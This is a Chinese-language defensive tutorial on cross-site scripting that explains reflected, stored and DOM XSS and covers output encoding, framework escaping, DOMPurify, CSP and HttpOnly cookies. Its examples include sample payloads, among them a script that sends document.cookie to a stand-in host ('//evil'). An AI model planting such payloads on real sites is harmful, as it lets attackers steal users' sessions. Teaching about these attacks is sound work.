屬於 OWASP Top 10 的 A03 注入;session/cookie 相關見 認證與授權。
目錄
- 什麼是 XSS?
- 為什麼 XSS 危險
- 三種 XSS 類型
- 核心成因
- 防護一:輸出編碼
- 防護二:框架自動轉義
- 防護三:HTML 淨化(Sanitization)
- 防護四:CSP(內容安全政策)
- 防護五:Cookie 加固
- 常見誤區
- 常見問題
- 總結
什麼是 XSS?
XSS(Cross-Site Scripting,跨站腳本) 是把惡意 JavaScript 注入到網頁,讓它在其他使用者的瀏覽器中執行。攻擊者借受害者的瀏覽器、以受害者的身分執行程式碼。
攻擊者把 <script>...</script> 塞進網頁某處
→ 受害者開啟頁面
→ 那段腳本在受害者瀏覽器執行(擁有受害者的登入狀態)
本質是 A03 注入的一種:把不可信輸入當成 HTML/JavaScript 執行。
為什麼 XSS 危險
惡意腳本在受害者瀏覽器中以受害者身分執行,能做的事幾乎等於使用者本人:
- 竊取 session / token:讀
document.cookie、localStorage 的 token → 冒充登入 - 冒名操作:以受害者身分送請求(轉帳、改密碼、發文)
- 鍵盤側錄 / 釣魚:覆蓋假登入框騙帳密
- 散播:儲存型 XSS 可像蠕蟲擴散給所有看到該內容的人
一個 XSS 就可能讓「登入狀態」形同被接管——這是它高危的原因。
三種 XSS 類型
| 類型 | 惡意腳本來自 | 觸發方式 |
|---|---|---|
| 反射型(Reflected) | URL/請求參數,被伺服器原樣「反射」回頁面 | 誘騙受害者點惡意連結 |
| 儲存型(Stored) | 存進資料庫(留言、暱稱…),之後輸出給所有人 | 受害者瀏覽含惡意內容的頁面(最危險) |
| DOM 型(DOM-based) | 純前端:JS 把不可信資料寫進 DOM | 不經伺服器,前端直接觸發 |
反射型範例
<!-- 伺服器把搜尋關鍵字直接印回頁面 -->
搜尋結果:<%= request.query.q %>
<!-- 攻擊連結:?q=<script>steal(document.cookie)</script> -->
<!-- 受害者一點,腳本就執行 -->
儲存型範例
攻擊者在留言欄填: <script>fetch('//evil/?c='+document.cookie)</script>
→ 存進 DB
→ 每個瀏覽該留言的人,瀏覽器都執行這段 → cookie 被偷
DOM 型範例
// 前端直接把 URL 片段塞進 innerHTML(不經伺服器)
document.getElementById("out").innerHTML = location.hash.slice(1);
// #<img src=x onerror=alert(1)> → 執行
核心成因
所有 XSS 的根因都一樣:把不可信資料當成 HTML/JavaScript 解析執行,而非當成「純文字資料」。
資料 + 沒做情境編碼 → 被瀏覽器當程式碼執行 → XSS
防護的總原則:輸出時,依情境把資料當資料(編碼),不要讓它變成可執行的標記/腳本。
防護一:輸出編碼
最核心的防護:把資料輸出到頁面時,依「輸出位置」做對應的編碼/轉義。
HTML 內文: < > & " ' → < > & ...(HTML escape)
HTML 屬性: 額外處理引號,並加引號包住
JavaScript: 輸出到 <script> 內需 JS 編碼(盡量避免直接拼)
URL: 參數做 URL encode
關鍵:編碼要對應情境——HTML 內文、屬性、JS、URL 各有不同編碼方式,用錯地方等於沒防。
不要自己土法拼字串貼進
innerHTML;用框架或樣板引擎的自動轉義(見下)。
防護二:框架自動轉義
現代前端框架預設就會把插值內容轉義,這是它們的重要安全價值:
// React:預設安全,content 會被當純文字,<script> 不會執行
function Comment({ content }) {
return <div>{content}</div>; // ✅ 自動轉義
}
// ⚠️ 危險出口:dangerouslySetInnerHTML 會原樣插入 HTML
<div dangerouslySetInnerHTML={{ __html: userContent }} /> // 直接 XSS 風險
- React
{}、Vue{{ }}、Angular 插值預設轉義 → 一般情況天生防 XSS - 危險出口:React
dangerouslySetInnerHTML、Vuev-html、直接操作innerHTML—— 這些會原樣插入 HTML,用前必須先淨化 - React 見 React 完全指南
防護三:HTML 淨化(Sanitization)
當你真的需要顯示使用者提供的 HTML(如富文本編輯器、Markdown 渲染),不能只轉義(會把 HTML 變純文字)。這時要淨化:移除危險標籤/屬性,只留安全的。
import DOMPurify from "dompurify";
const clean = DOMPurify.sanitize(userHtml); // 移除 <script>、onerror 等
element.innerHTML = clean; // 再放進去才安全
- 用成熟的淨化庫(如 DOMPurify),別自己寫黑名單(一定漏)
- 採白名單思維:只允許已知安全的標籤/屬性
防護四:CSP(內容安全政策)
CSP(Content Security Policy) 是一道縱深防禦:透過 HTTP 標頭限制「頁面能載入/執行哪些來源的資源」,即使有 XSS 漏洞也能大幅降低危害。
Content-Security-Policy: default-src 'self'; script-src 'self'
script-src 'self':只允許執行同源腳本 → 擋下 inline<script>與外部惡意腳本- 可用 nonce / hash 精準允許特定 inline script
- 注意:CSP 是補強,不是取代輸出編碼——是「萬一漏了也有第二道牆」
防護五:Cookie 加固
降低「session cookie 被 XSS 偷走」的衝擊:
| 屬性 | 作用 |
|---|---|
HttpOnly |
JS 讀不到該 cookie(document.cookie 拿不到)→ XSS 偷不走 session |
Secure |
只在 HTTPS 傳送 |
SameSite |
限制跨站送出(也防 CSRF) |
HttpOnly是關鍵:把 session cookie 設為 HttpOnly,即使頁面被 XSS,攻擊腳本也讀不到 session cookie。但存在 localStorage 的 token 沒有這層保護——這也是「token 存哪」要權衡 XSS 風險的原因。
常見誤區
1. 「我有做輸入驗證就夠了」
輸入驗證有幫助,但XSS 的關鍵防線在「輸出編碼」。同一份資料可能輸出到 HTML、屬性、JS、URL 等不同情境,只在輸入時擋無法涵蓋所有輸出情境。
2. 「用了 React 就完全免疫」
React 預設轉義能擋多數情況,但 dangerouslySetInnerHTML、href="javascript:..."、直接操作 DOM 仍可能 XSS。框架降低風險,不等於免死金牌。
3. 「只擋 <script> 就好」
XSS 不只靠 <script>:<img src=x onerror=...>、<svg onload=...>、javascript: URL 等都能執行。黑名單必漏,要用白名單淨化 + 輸出編碼。
4. 「只有輸入框才有風險」
URL、HTTP 標頭、第三方資料、甚至檔名都可能是來源。DOM 型 XSS 還完全不經伺服器。
常見問題
問題 1:XSS 和 SQL Injection 差在哪?
兩者同屬「注入」,但目標不同:SQL Injection 注入的是 SQL 查詢(打資料庫);XSS 注入的是 HTML/JavaScript(在受害者瀏覽器執行)。共通根因都是「把輸入當程式碼」。
問題 2:反射型和儲存型哪個嚴重?
儲存型通常更嚴重——惡意腳本存進伺服器後,每個瀏覽該內容的人都中招,可大規模擴散;反射型需誘騙個別受害者點特製連結。
問題 3:輸出編碼和淨化(sanitize)差在哪?
編碼把資料當純文字顯示(< 變 <,HTML 不會生效)——適合顯示純文字。淨化保留安全的 HTML、移除危險部分——適合「需要顯示使用者 HTML」時(富文本)。
問題 4:把 token 存 localStorage 安全嗎?
localStorage 沒有 HttpOnly 保護,一旦有 XSS 就能被讀走。session cookie 設 HttpOnly 較安全。要存 token 於 localStorage 就更需嚴防 XSS,並考慮短期 token。
問題 5:有 CSP 就不用做輸出編碼了嗎?
不是。CSP 是第二道防線(縱深防禦),輸出編碼/框架轉義才是主要防線。兩者搭配:先正確編碼,再用 CSP 兜底。
總結
核心要點
- XSS:把惡意 JS 注入網頁、在受害者瀏覽器以其身分執行 → 偷 session、冒名操作
- 三型:反射型(連結觸發)、儲存型(存 DB、影響所有人,最危險)、DOM 型(純前端)
- 根因:把不可信資料當 HTML/JS 執行
- 主防線:依情境輸出編碼 + 框架自動轉義(小心
dangerouslySetInnerHTML/v-html) - 需顯示使用者 HTML 時用 DOMPurify 淨化(白名單)
- 縱深防禦:CSP 限制可執行來源、HttpOnly cookie 讓 session 偷不走
快速參考
| 防護 | 作用 | 定位 |
|---|---|---|
| 輸出編碼 | 把資料當文字(依情境) | 主防線 |
| 框架自動轉義 | React/Vue 預設轉義 | 主防線 |
| HTML 淨化(DOMPurify) | 顯示使用者 HTML 時 | 必要時 |
| CSP | 限制可執行的腳本來源 | 縱深防禦 |
| HttpOnly cookie | session 偷不走 | 降低衝擊 |
建立日期:2026-06-18